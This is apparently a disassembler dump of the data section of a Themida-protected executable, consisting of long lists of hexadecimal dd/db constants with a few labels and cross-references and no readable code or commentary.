6FA0D289h dd 67A88F01h, 233E8FB6h, 72688B49h, 40608467h, 3EBC02B5h dd 0DC2E6F31h, 7129E144h, 232988A2h, 0E073AB25h, 77D02C8h dd 76D0A4Dh, 232991A0h, 0E07BC952h, 28FABB3Ch, 43E10F97h dd 232985A3h, 27F0B525h, 0F9C3C19Eh, 82C74ED9h, 2C602F3Ah dd 23298BD8h, 0A6A0EA29h, 24CE730Dh, 0CB798B20h, 23298B26h dd 7BEAD3B2h, 270DCFC0h, 270DCF25h, 23298B49h, 6BEADB69h dd 0F78F59ABh, 1050A888h, 0C73CE298h, 26D10095h, 23298985h dd 0DBB40E2Dh, 0E3AA8CB5h, 82AC0231h, 102E6C6Ch, 21C5328Ah dd 89DA8B25h, 0CB7E8BF8h, 23298B4Ah, 7CEAD484h, 270DF7DBh dd 270DCFA8h, 23298B8Fh, 9AEADC0Dh, 41E5729Fh, 9CA39EC2h dd 73B25BDBh, 232F01ABh, 0B62A8B52h, 24CD9F44h, 23298C7Dh dd 0C042F4Ah, 0A8416CA2h, 0F040E54h, 496A8CADh, 20C1DDA4h dd 3298B52h, 0AA774877h, 0A22DAFE0h, 3A2DAF0Eh, 65298B25h dd 6E9C48C4h, 15DCAD4Ah, 0B1A74525h, 27C1D37Bh, 7D298B29h dd 73B5ECFFh, 0EBA2D91Ah, 0EE96BA2Ah, 797E7441h, 76D0011h dd 2497EDA0h, 0A8290030h, 76D02DAh, 232E6290h, 8B368B4Ah dd 0B00CDEAFh, 0A97FD324h, 96D6D29Ah, 24CDAAE5h, 0CB788B38h dd 23298B2Ah, 7AEAD2B4h, 270DC7C3h, 270DCFA4h, 23298B84h dd 6BEADA08h, 0A6A48242h, 24CE3BF5h, 0CB7A8B43h, 23298B97h dd 78EAD06Ah, 270DD7ACh, 270DCF13h, 23298B50h, 0E0EAD8E7h dd 0E0F344AAh, 232563BAh, 81848B94h, 5CD0F85h, 6383A275h dd 79D1A2E6h, 0CDA95BB6h, 86AC0207h, 0A22E6F58h, 3929E9C7h dd 52AC06A3h, 492E6F66h, 20C1D925h, 3298B92h, 0AA734813h dd 0A22DAFF0h, 352DAF16h, 61298B29h, 0D94148C6h, 455C35D0h dd 0A6A0EFD9h, 24CDAFE3h, 0CB7E8B23h, 23298BA7h, 7CEAD472h dd 270DF7A0h, 270DCF15h, 23298B56h, 5DEADC62h, 10AC85EAh dd 0DE3F905h, 1A92E01Eh, 0EAC4D04h, 702E6F05h, 3F481EA7h dd 27C18CAEh, 0FB298B25h, 43D53ADAh, 9F93D919h, 2C7D9EF4h dd 79E13963h, 21A88471h, 74298B94h, 9D79EA15h, 77317A67h dd 270DCF19h, 232D0946h, 73498BA4h, 23A2EA0Ch, 0AAE6004Fh dd 0CB2DAFD0h, 23298B4Ch, 393BF2FEh, 0FB902670h, 7C20B610h dd 0FA9C02FCh, 0DC2E6F4Bh, 0C708CA9Ch, 7229E193h, 232988A2h dd 0E070AB25h, 76502CBh, 76D0A4Dh, 23299EA0h, 0E078CA52h dd 0BEA09E95h, 24CDA53Dh, 938E0EC7h, 0AE028CC2h, 24CD9787h dd 0DCF93C46h, 5AAC0274h, 0AA2E6F4Ah, 0C727CAACh, 7429E193h dd 232988A2h, 0E076AB25h, 75502CDh, 76D0A4Dh, 232990A0h dd 0E07ECC52h, 0AC5EDABFh, 580CA67Eh, 54806C1h, 0A6EF8CC1h dd 24CDA7BFh, 7329E11Ah, 2329884Ch, 0E071AB52h, 76D0271h dd 76D0A90h, 23299C4Eh, 0E079CB25h, 0EAD295FEh, 4141EC0h dd 27C18C40h, 90298B52h, 45F193EDh, 0A979711Fh, 76D009Fh dd 9D290021h, 53CA432h, 270DCFC0h, 4571432Fh, 0DC3747EDh dd 0C708CA9Ch, 0C1A8ED93h, 0A6A42EBDh, 24CE3B82h, 2329837Ah dd 0F31AE249h, 0D0A57A0Bh, 469C8282h, 7A2E6F23h, 2AC05B6Bh dd 2C298B4Ah, 0FB3F4DD5h, 98B745CFh, 27640EC0h, 23438C40h dd 232A6300h, 79098B29h, 77A0D157h, 67A88F6Eh, 233D8F01h dd 716B8B92h, 0A24FC28Ah, 0E57B1A4Dh, 0C705A6D7h, 3641CC2Eh dd 92BD201Eh, 71D0A98h, 5CDC99h, 2329807Bh, 11393149h dd 7205979Bh, 0C2A8EC1Fh, 2683ED6h, 0B60A8C70h, 24CDBAFBh dd 938E0EA8h, 0F3D68C75h, 0AAE1002Fh, 0C70D4221h, 72AC8A55h dd 0E52E6F34h, 0C705A611h, 2343CC4Dh, 232A6377h, 79098B92h dd 77A0D18Ah, 67A88F80h, 23308F76h, 716B8B29h, 0A4BAAF57h dd 43A3C701h, 12D3342Ah, 0C704CE07h, 0BE00EA4Eh, 24CD8CE9h dd 0C7B5713Ah, 9EDD355Ch, 27A884E6h, 0D45A0B6Eh, 9B49EB2Eh dd 75BEFFB3h, 9AF80A2Fh, 42D0EADEh, 1FBA3534h, 2683ED6h dd 960A8C70h, 24CD90EFh, 938E0EA8h, 23438C75h, 232A6318h dd 7A098BA4h, 6FA0D291h, 67A88F0Dh, 233E8FB0h, 72688B4Ah dd 2958ECE6h, 0AA402B7h, 0DC2E6F51h, 56940074h, 0AA2E6F4Fh dd 0C73D4AACh, 0AEBC0293h, 0AA2E6F67h, 0C7262290h, 0EAC4D95h dd 642E6F65h, 0CB7E8BCEh, 23298B51h, 7CEAD409h, 270DF71Dh dd 270DCFCBh, 23298B38h, 63EADCD5h, 86CF67A0h, 72973B0Ch dd 232663BDh, 29898B29h, 1B277E1Ah, 8A3721EDh, 0B446E5ACh dd 25A084D3h, 0A8298B49h, 0C7273611h, 2BC1D255h db 29h, 8Bh, 29h byte_5C2407 db 3Eh ; DATA XREF: Themida_:005829C0o dd 149228BAh, 0AA8CFD2Ah, 0C72B2EB0h, 3B41D595h, 0CB6FA82Eh dd 23298BB7h, 7F19C15h, 547CA7C9h, 9C047F27h, 0A8FC9AF5h dd 0A841BFC7h, 27A8D443h, 8AFCCE6Dh, 7429E1C0h, 232988BAh dd 0E076AB29h, 75502CBh, 76D0A4Eh, 23299E21h, 0E07ECC92h dd 96A0EAF9h, 24CDA1D9h, 629C74AEh, 0AA2E6F08h, 0C73FE219h dd 84AC064Dh, 492E6C95h, 20C1DC92h, 3298B49h, 0AA7648FBh dd 0A22DAF2Eh, 3B2DAF6Dh, 64298B94h, 5420481Dh, 0AA1B7712h dd 0C72CBE27h, 0F3D67E4Eh, 0CB7A8BCEh, 23298B51h, 78EAD009h dd 270DD71Dh, 270DCFCBh, 23298B3Eh, 0E1EAD8D1h, 64FD0A39h dd 0A2A8F909h, 0A6F48683h, 0B2BCA241h, 0A82E6F99h, 0C7228AFFh dd 0B2AC0222h, 992E6F81h, 3F1B542Eh, 0B6A05B5Bh, 24CDB87Fh dd 23B00EA0h, 45D58C70h, 0B62253C6h, 24CDBA68h, 227C3E1Bh dd 270D8CADh, 0CB7A8BCEh, 23298B51h, 78EAD009h, 270DD71Dh dd 270DCFCBh, 23298B3Ch, 0E0EAD8D1h, 7911A037h, 2CE981B3h dd 232A99D6h, 0CEBC8029h, 432E6F8Bh, 232982A2h, 8782D725h dd 4727E296h, 0A6A25B6Fh, 24CD8ACDh, 232C620Ch, 73DC8B29h dd 42EBE81Ah, 0F040E8Ch, 72668CC1h, 70A3562Bh, 0E441D500h dd 437E4D15h, 43F80032h, 984FEA48h, 0A2480178h, 99D4AF4Eh dd 2343EC9Ch, 232A63C3h, 7A098B49h, 6FA0D267h, 67A88F76h dd 23328F0Dh, 72688B94h, 0A3D34589h, 9D42D6AAh, 96D67768h dd 24CDAA08h, 0AEFE7A24h, 0C4992CD7h, 7529E12Eh, 2329887Ch dd 0E077AB4Ah, 75D027Bh, 76D0A96h, 23299E4Dh, 0E07FCDA4h dd 0DB4970EEh, 42D93426h, 23435B6Bh, 232A631Ch, 7D098B25h dd 57A0D551h, 67A88F6Dh, 23318F80h, 756F8B52h, 2BE3F7EAh dd 0B6A2F6A5h, 24CDA173h, 490D4BA6h, 20C1DA92h, 3298B49h dd 0AA7048FDh, 0A22DAF1Eh, 392DAF6Dh, 62298B94h, 8129481Bh dd 33777141h, 0F6BC0044h, 0AA2E6F4Ah, 0C7041221h, 6B97ED55h dd 0BAAC005Ah, 492E6F94h, 20C1D84Ah, 3298B25h, 0AA7248C9h dd 0A22DAF15h, 352DAFE0h, 60298B52h, 1DFD487Ah, 0BEA27ECAh dd 24CD98DBh, 30F836AEh, 496A8C76h, 20C1D949h, 3298BA4h dd 0AA734808h, 0A22DAF7Dh, 3B2DAFD0h, 61298B4Ah, 7F764877h dd 0A8FC7B46h, 23226352h, 77238BA4h, 0F3E9CF36h, 0BD4B91BBh dd 0BEA402B3h, 7C2E6F5Fh, 0A37E90AEh, 0A8700E5Fh, 7329E152h dd 2329884Ch, 0E071AB52h, 76D0271h, 76D0A90h, 2329974Eh dd 0E079CB25h, 6F9F6BDCh, 0F0B6874Eh, 0CCA8EDACh, 0FB1AF2EBh dd 0CB7E8B43h, 23298B97h, 7CEAD46Ah, 270DF7ACh, 270DCF13h dd 23298B50h, 28EADCE3h, 970AC467h, 26EC0B13h, 232B089Bh dd 0CBA38B4Ah, 30016ACh, 0B6A28C76h, 24CD8468h, 22101E2Dh dd 0A6EF8CB6h, 24CDA704h, 7329E1D3h, 232988A2h, 0E071AB25h dd 76D02CAh, 76D0A4Dh, 23299FA0h, 0E079CB52h, 0F699E3F1h dd 37C0CDF0h, 0E2298B4Ah, 0A3912484h, 56BBC4Fh, 50DFF35Fh dd 450C6DC8h, 0A268F18Ch, 24D0AF2Dh, 2AC1FAEEh, 59298B4Ah dd 71D956Ah, 2F21545Eh, 3CF01E60h, 74778C40h, 8C36D9h dd 0DC708CCDh, 0C708CA21h, 7529E14Dh, 232988CDh, 0E077AB92h dd 75D0217h, 76D0AA0h, 23299356h, 0E07FCD29h, 0C4B9879Eh dd 84AC0691h, 222E6C95h, 0C73C1E07h, 0CAF9744Eh, 23298BAFh dd 0E8DD4AEAh, 0F4A2A321h, 0AAA447A6h, 0C70D42CFh, 23A2CB22h dd 0CB7C8BF8h, 23298B4Ah, 7EEAD684h, 270DE7DBh, 270DCFA8h dd 23298B88h, 2FEADE0Fh, 45C5E207h, 0BAB301E5h, 130836C0h dd 23A28C40h, 0CB798B38h, 23298B2Ah, 7BEAD3B4h, 270DCFC3h dd 270DCFA4h, 23298B8Bh, 6EADB09h, 0D97C1A39h, 0C6AC0297h dd 492E6F2Ah, 20C1DD94h, 3298B4Ah, 0AA77487Bh, 0A22DAFE6h dd 3B2DAF0Dh, 65298BA4h, 0A6794804h, 45564AECh, 99B64215h dd 2328C3A3h, 12B4BA25h, 0AE2E6FBEh, 0C4D134CCh, 232662A3h dd 973F8B52h, 847F6DE6h, 0BC84A93Ch, 0B8256840h, 33C0DBB7h dd 59298B92h, 13CC6DE5h, 0C5BD0A7h, 0F80EFD80h, 0AAFA8B1Eh dd 0CB78AF90h, 23298B5Eh, 37686025h, 93277640h, 376DF36Dh dd 65694733h, 357B0E65h, 37703E2Ah, 79738C70h, 44F60A2Ch dd 0F6BC7422h, 492E6F89h, 20C1DE49h, 3298BA4h, 0AA74480Fh dd 0A22DAF45h, 372DAFD0h, 66298B4Ah, 0CAFD4870h, 23298B82h dd 0AFCB38ACh, 0D8FAEB9Eh, 8168FAFEh, 9BAAABF2h, 660434F2h dd 0DBEC16C7h, 0AA268CC2h, 23298B9Ah, 0E193ED29h, 4248EB68h dd 233B6302h, 985E8B29h, 0AAB7E7FFh, 847D600Fh, 652790A3h dd 0E9D524F7h, 7350210h, 2ACAD01Eh, 0A84F1B7Ah, 25C0DBE7h dd 0F0298B94h, 4D97FC00h, 23431BB3h, 232A63C5h, 7C098B49h dd 5FA0D467h, 67A88F76h, 233C8F0Dh, 746E8B94h, 0CB682089h dd 23298B29h, 0DFC0FBE8h, 27B78AB5h, 0A87CF36Fh, 24181ED9h dd 0DC708CCDh, 0C7320A01h, 7229E14Dh, 232988CDh, 0E070AB92h dd 7650210h, 76D0AA0h, 23299D56h, 0E078CA29h, 95445352h dd 0BAAC02DEh, 0A82E6F08h, 0C70A8A07h, 0EAC4D4Eh, 702E6F88h dd 4BFB3C5Dh, 0B7DC9DFBh, 8E0D8F15h, 493C1927h, 20C1DA25h dd 3298B92h, 0AA704810h, 0A22DAFE8h, 3B2DAF16h, 62298B29h dd 0E44548C5h, 0A8F569E9h, 629C74F4h, 0A22E6FB3h, 0EF7C69BFh dd 84AC0683h, 0A82E6CE2h, 0C723E294h, 232F6293h, 0D4F68B4Ah dd 0A2FF402Fh, 0B6A25B6Dh, 24CDAE40h, 12840E2Dh, 0A8498CB6h dd 25A384F6h, 0A8298B94h, 0C72832D7h, 0A6EFEA22h, 24CDA7BFh dd 7329E10Eh, 2329884Ch, 0E071AB52h, 76D0271h, 76D0A90h dd 23299C4Eh, 0E079CB25h, 0B151F9E8h, 0A9C60A2Fh, 6AA4A28Ah dd 4B2E6F5Fh, 4D8C719Fh, 457D862Dh, 72D0A0Ch, 11E591FFh dd 0CB788BF8h, 23298B4Ah, 7AEAD284h, 270DC7DBh, 270DCFA8h dd 23298B88h, 2CEADA0Bh, 6EE25CDFh, 3143ADBh, 61B5D9F3h dd 0CDC70BCCh, 5D83E5Bh, 96D68CCDh, 24CDAAD5h, 0CB7F8B20h dd 23298B26h, 7DEAD5B2h, 270DFFC0h, 270DCF25h, 23298B4Fh dd 0EBEADD6Fh, 6C3AF194h, 7B8ACE5Bh, 84AC0654h, 492E6C22h dd 20C1DD49h, 3298BA4h, 0AA77480Ch, 0A22DAF5Dh, 3B2DAFD0h dd 65298B4Ah, 0A5954873h, 0DCCB2B00h, 7529E199h, 2329884Ch dd 0E077AB52h, 75D0277h, 76D0A90h, 23299C4Eh, 0E07FCD25h dd 9BA326BDh, 4549AEFCh, 7490A21Fh, 5F00EDBh, 42718CCDh dd 9200E1Dh, 23438CAEh, 232A6375h, 7B098B92h, 67A0D38Ah dd 67A88F80h, 23338F76h, 73698B29h, 9E029257h, 0FA3127FEh dd 374416ACh, 0A6EF8C76h, 24CDA764h, 7329E1F7h, 232988BAh dd 0E071AB29h, 76D02CCh, 76D0A4Eh, 23299C21h, 0E079CB92h dd 0ED0EB8EFh, 230905ABh, 37C18B52h, 55298B29h, 2DF0136Eh dd 57C46A5Eh, 816CDDC1h, 86F10525h, 2C453723h, 23298B2Fh dd 27C1D152h, 0B3298B29h, 0CBB0B2CBh, 23298B4Ch, 8359306Bh dd 0CB497382h, 23298B47h, 8097795Fh, 0E9E13859h, 29DB6445h dd 4371F1ECh, 7370EA2Bh, 1226D975h, 4277DBF2h, 67A2D313h dd 23A28F80h, 232999BAh db 29h byte_5C2BA5 db 35h, 5Dh, 9Ch ; DATA XREF: Themida_:00583F10o dd 361380E8h, 33BE3366h, 8F16094Ch, 0CB367F67h, 23298B4Fh dd 2AEA53E8h, 0F0A21AF4h, 67A0D270h, 0A9498FB0h, 2325639Bh dd 0F10B8B25h, 1B8A6EF9h, 0AFC94F2Bh, 42497914h, 2871EA0Dh dd 0C72C2E9Ch, 629C7493h, 492E6F6Bh, 20C1DD25h, 3298B92h dd 0AA774817h, 0A22DAFD0h, 3F2DAF16h, 65298B29h, 4A2448C2h dd 465B02AFh, 0A3B42B36h, 0A6A49170h, 24CE3BEEh, 0CB7C8BCEh dd 23298B51h, 7EEAD609h, 270DE71Dh, 270DCFCBh, 23298B31h dd 7AEADED7h, 39AC06C0h, 0BE008C40h, 24CDBAD7h, 23435BD6h dd 232A63C2h, 7D098B4Ah, 57A0D5E6h, 67A88FB6h, 233F8F6Dh dd 756F8BA4h, 8DD8EA91h, 13480EA0h, 23438C70h, 232A631Bh dd 7A098B25h, 6FA0D251h, 67A88F6Dh, 23308F80h, 72688B52h dd 5E20D3EAh, 2C559835h, 23298BC7h, 0EAC4D25h, 742E6FBEh dd 0CB7C8B23h, 23298BA7h, 7EEAD672h, 270DE7A0h, 270DCF15h dd 23298B51h, 0CFEADE60h, 0DCF3684Ah, 0CA8DE333h, 23298BB7h dd 71FF71FEh, 0BD994360h, 5576F371h, 972E8F40h, 0CB98DCEBh dd 23298B96h, 0B32DD94Fh, 0A84FEBC4h, 0D098EA9Ah, 7179DB48h dd 23298D7Dh, 78B2084Ah, 2C76018Fh, 25AE84A3h, 2C298B49h dd 23298B22h, 0A871D152h, 732DAF6Dh, 899DEBC6h, 2C485AC0h dd 0A871D114h, 2CA88492h, 0CB298B49h, 23298BA3h, 8E0E6358h dd 0A885F7FBh, 67A0D26Fh, 0A84F8F6Eh, 2343D3EAh, 232A63C4h dd 7D098B49h, 57A0D567h, 67A88F76h, 23358F0Dh, 756F8B94h dd 0F28D2D89h, 359BF022h, 0AEA2B8BEh, 24CDA998h, 194362Dh dd 96D68CB6h, 24CDAA68h, 0CB798BFEh, 23298B49h, 7BEAD305h dd 270DCF1Bh, 270DCFC8h, 23298BB0h, 38EADB12h, 2D6406A2h dd 2BC08C70h, 0DE298B4Ah, 0B1BC8A10h, 0AE0016BFh, 0C4992CCCh dd 7229E1A3h, 232988BAh, 0E070AB29h, 76502CDh, 76D0A4Eh dd 23299C21h, 0E078CA92h, 8F31A237h, 23435B5Bh, 232A6307h dd 7E098B29h, 4FA0D657h, 67A88F6Eh, 23358F01h, 766C8B92h dd 0D2EB298Ah, 7AF8F56Dh, 0AA7A23B9h, 0C7303EBCh, 25C1D193h dd 82298B4Ah, 0CDAC400Ah, 3EDE0AF3h, 7C3C7CDCh, 13640E2Dh dd 0A6EF8CB6h, 24CDA704h, 233A62D7h, 1A3E8B4Ah, 2E4BA8D8h dd 0A33691F3h, 5CB41833h, 26944992h, 729CA0EDh, 4B2E6F24h dd 9265A602h, 2327622Ah, 17818B25h, 0B19621CCh, 1B86B16h dd 3FC317D8h, 71D0A33h, 2EF5D697h, 2327089Bh, 2AC08B4Ah dd 12298B25h, 0A17526B3h, 6BB2B9BDh, 0BAA402C4h, 0CB2E6F75h dd 23298B3Bh, 0F21E3956h, 331FD69Ah, 6680691Bh, 0FF53D059h dd 0F8A894DAh, 3909C58Bh, 96D6EA0Dh, 24CDAA68h, 84AC066Dh dd 492E6CFAh, 20C1DC25h, 3298B92h, 0AA764816h, 0A22DAFD8h dd 362DAF16h, 64298B29h, 7AD448C3h, 23435BB5h, 232A6376h dd 78098B92h, 7FA0D08Ah, 67A88F80h, 233C8F76h, 706A8B29h dd 204EF357h, 0C7036EFFh, 42A40222h, 0AA2E6FB7h, 0C727E6CCh dd 7329E1A3h, 232988BAh, 0E071AB29h, 76D02CCh, 76D0A4Eh dd 23299C21h, 0E079CB92h, 80BE3A0Ah, 0AA206124h, 0C72002CFh dd 96AC062Eh, 202E6C6Ch, 0C7350EF7h, 7249DB22h, 7179E929h dd 0EBA2D558h, 72D02C5h, 23280C5Dh, 0DCDC8B29h, 0C7325E01h dd 16A4804Dh, 0A82E6F15h, 7329E14Ah, 232988A1h, 0E071ABA4h dd 76D020Ah, 76D0A2Dh, 23299190h, 0E079CB4Ah, 3C86D556h dd 0DA1E105Dh, 0DB800EC4h, 2BC18C43h, 44298B52h, 2B920D6Eh dd 0A800482Ch, 0CB79D1BBh, 23298B37h, 47E1FD0h, 0B615896Bh dd 72AC5FCBh, 36088296h, 0A62617C8h, 23298B8Ch, 232998A3h dd 0EA434B25h, 83462A93h, 0DC29B850h, 647D40A4h, 0D9008B7Fh dd 72D0276h, 0CB7E8BFEh, 23298B49h, 7CEAD405h, 270DF71Bh dd 270DCFC8h, 23298BBFh, 0ACEADC15h, 0D575AAF7h, 0D627C99Bh dd 73C601D9h, 0F4A2ED45h, 232D0B9Dh, 9A4F8B49h, 0B0488BBFh dd 3A92ED32h, 0B6D6EA62h, 24CD9015h, 0B2AC02B6h, 0AA2E6F08h dd 0C7184617h, 232E624Eh, 0BC588BA4h, 0EC16D0BCh, 0F6AC4C92h dd 2C2E6FBEh, 0DC298B4Ah, 0C7041AB0h, 0D8A2ED95h, 3B4C0EC0h dd 9E288C40h, 24CD8E47h, 298C0EA2h, 0BEA48C70h, 24C180A9h dd 0AE28C8ACh, 0C705FA2Fh, 9E9C064Eh, 9A2E63AFh, 23298B61h dd 10C22FDAh, 23298B2Ch, 57E9804Ah, 23314926h, 2F0DCF19h dd 2329631Ah, 0A2728BA4h, 23299C91h, 7750229h, 76D0284h dd 1491D05Eh, 0DC293ADFh, 76D0072h, 49C9744Dh, 20C1DEA4h dd 3298B52h, 0AA744874h, 0A22DAFF8h, 362DAF0Eh, 66298B25h dd 0B88548C7h, 3EC30A2Fh, 7329E125h, 232988BAh, 0E071AB29h dd 76D02CCh, 76D0A4Eh, 23299221h, 0E079CB92h, 2D98E384h dd 29C0DB18h, 0A2298B52h, 6B3C75EEh, 927521E9h, 0F3A2EDB0h dd 23276244h, 0DACC8B92h, 906792ACh, 0B7EF05B9h, 54B49019h dd 0DB8036A4h, 0AEA48C73h, 24C1873Fh, 582BE9Dh, 0AACB80Ah dd 82E6F50h, 21C04A6Bh, 92A8DCEBh, 0C17629E1h, 94232988h dd 17E074ABh, 21074502h, 96076D0Ah, 0F305E983h, 6AD98BA4h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0A819C351h, 0BFAA5E34h, 2DB58Bh, 8D8B07E4h dd 7E42EE1h, 22E9h, 88A0F00h, 0F000000h, 289h, 61616000h dd 0CE9C3F5h, 29000000h, 0DDE124F7h, 1CB7B6Eh, 8B31F553h dd 188A0FC0h, 60000000h, 6E9h, 20F54000h, 0E9A76D1Dh, 6 dd 0C6FA3C99h, 8361BA58h, 0E413F1BDh, 9750007h, 935BD83h dd 740007E4h, 8B535019h, 4B9B8C0h, 85890000h, 7E40EEDh dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h dd 4B9B853h, 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 590FF3C3h, 0A508BE89h, 0BE91Ah, 0A7F00000h dd 5D717052h, 0BF568E2Dh, 870FF96Eh, 1, 0E9C08BF8h, 12h dd 269F39D9h, 7C814869h, 689EBD65h, 0BB63BDA8h, 8B4096F7h dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1B547F0Bh, 0B5893C14h, 7E4009Dh, 4EBh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 9F32B0C3h, 90BA66B9h, 5E93AE5h, 6D000000h, 9780F8Ch dd 0E7816650h, 8D5ED989h, 0E40D8585h, 39858907h, 9007E427h dd 0CE6BF50h, 505F71FFh, 0D38B6660h, 5A616050h, 6A9061h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 4AA6E0C3h, 2037FB4Ch, 858992CFh, 7E40659h, 0B70F006Ah dd 66006AF3h, 8DAB2BBFh, 0E80F9485h, 835E5707h, 6A05C0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C3C1E1C3h, 0EF91D740h, 0FC80BF66h, 13E950h, 2E250000h dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 24048941h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h dd 362371BEh, 8B006A0Eh, 0E41EC1BDh, 6A006A07h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 3CACC351h, 88DAF21Fh, 89FF3770h, 0E40F998Dh, 7195FF07h dd 6A07E424h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h dd 40000000h, 0DA0EC350h, 5E98D3Ch, 0AD000000h, 0A83A8465h dd 0D64B9D8Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 9705A5C3h, 0B9CC1ED7h, 0FD3FF85h dd 284h, 0FFF18B00h, 0E420B985h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 44FD2015h dd 5E9FBh, 48FE0000h, 0E913C71Ch, 6FAh, 0E8h, 0ED815D00h dd 7E80F9Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0CEC35141h, 0F9CB93A8h, 8DB589D3h, 8107E422h, 0E42AD5BDh dd 7D007h, 0D860F00h, 29000001h, 0E418358Dh, 699D8B07h dd 6A07E40Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 834CC353h, 0D0919E04h, 5252AE9Dh dd 6800Fh, 0B58B0000h, 7E40A9Dh, 0E381FC5Fh, 100h, 2A79BD01h dd 0DB0B07E4h, 7D850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 5FDA43C3h, 6E2F1E38h dd 1A718589h, 853107E4h, 7E41C61h, 0DD3BD83h, 0F0007E8h dd 2784h, 46E9F500h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0BE65C355h, 355520EFh dd 0DD385C7h, 107E8h, 0B5030000h, 7E43565h, 10E9h, 89BD8B00h dd 0C707E426h, 0E80DD385h, 7, 699D8D00h, 6A07E40Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 9F3CC357h, 0E62F86C3h, 0FF238136h, 0BFFFFFFEh, 50747854h dd 8BDB8C66h, 4C3F6F3h, 93840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 688D30C3h dd 0FFB72571h, 0E42D9195h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8E8FDB9Fh dd 0F5090E0h, 1C88h, 10E800h, 0D3870000h, 6C948130h, 0BB236411h dd 821231B7h, 8C0F219Ah, 0 dd 6A905Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 7F8693C3h, 29B586B9h, 0E41B4985h, 409E907h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 277AECC3h, 899D2EAFh, 0E402A995h, 8900B007h dd 0E431B19Dh, 0F2B70F07h, 6A70E6h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4F3A05C3h dd 734561DEh, 89603BE5h, 0E41A0D8Dh, 66EDBE07h, 66617BF5h dd 0E463BEBEh, 53006A71h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 669025C0h, 0C8C7BB13h dd 14E9E3CEh, 0D6000000h, 2CB43DDDh, 0EC95E3C9h, 37D659F2h dd 4A696895h, 665D9225h, 0B60FF78Bh, 998589D8h, 0BA07E415h dd 6, 2B58589h, 0C38B07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0BCC35141h, 898E74BFh, 0E42211BDh, 4E8C107h dd 66E2F766h, 2D5BC781h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 8D8977C3h, 7E408CDh dd 2115BD8Bh, 609307E4h, 14830Fh, 0FE90000h, 4000000h dd 0E50B9D47h, 639FE03h, 0B1BD9607h, 66603EC9h, 0E8D1AFBBh dd 9, 0DE3B9B23h, 319EA435h, 6161593Bh, 0C56CBE50h, 29934197h dd 0E42115B5h, 0D5B5FF07h, 8107E42Ah, 5E93BADFh, 4195FF6Dh dd 6A07E40Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 93EAC350h, 17F1680Dh, 4C5F0ED2h dd 0D924BE66h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 7CD12BC3h, 0D96D8755h, 8B06EC09h dd 0E42A21BDh, 6A70E607h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 2359C353h, 2F1BEDDEh dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 295C82C3h, 6860Fh, 0BD030000h, 7E42631h dd 830F613Ch, 1EFh, 1535B589h, 0B60F07E4h, 56006AD8h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 6C3B71A6h, 0EE8284Eh, 19000000h db 0DAh, 6Dh, 6Eh byte_5C3867 db 8Bh ; DATA XREF: Themida_:005857DCo dd 1456956Dh, 104B1BC9h, 0BA5FF93Dh, 6, 0E03EBF66h, 6AC38Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 1695ADC3h, 0C91F592Dh, 0E8C15FACh, 0E2F76604h, 5F5F5352h dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0BC8188C3h, 3176A44Dh, 8B151B83h, 0E431B1B5h dd 6810F07h, 8B000000h, 0E42035B5h, 6A5807h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D82BFBC3h dd 119880Fh, 8B660000h, 7B9F0h, 0B70F0000h, 318D09F1h dd 8307E41Bh, 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0AFA78C3h, 700DD781h, 3BFC1BA3h dd 0D8860FD9h, 0BE000000h, 0EBA21BEh, 6AD98C66h db 0, 56h, 0E8h byte_5C3957 db 3 ; DATA XREF: Themida_:00583DF0o dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0F48EC356h, 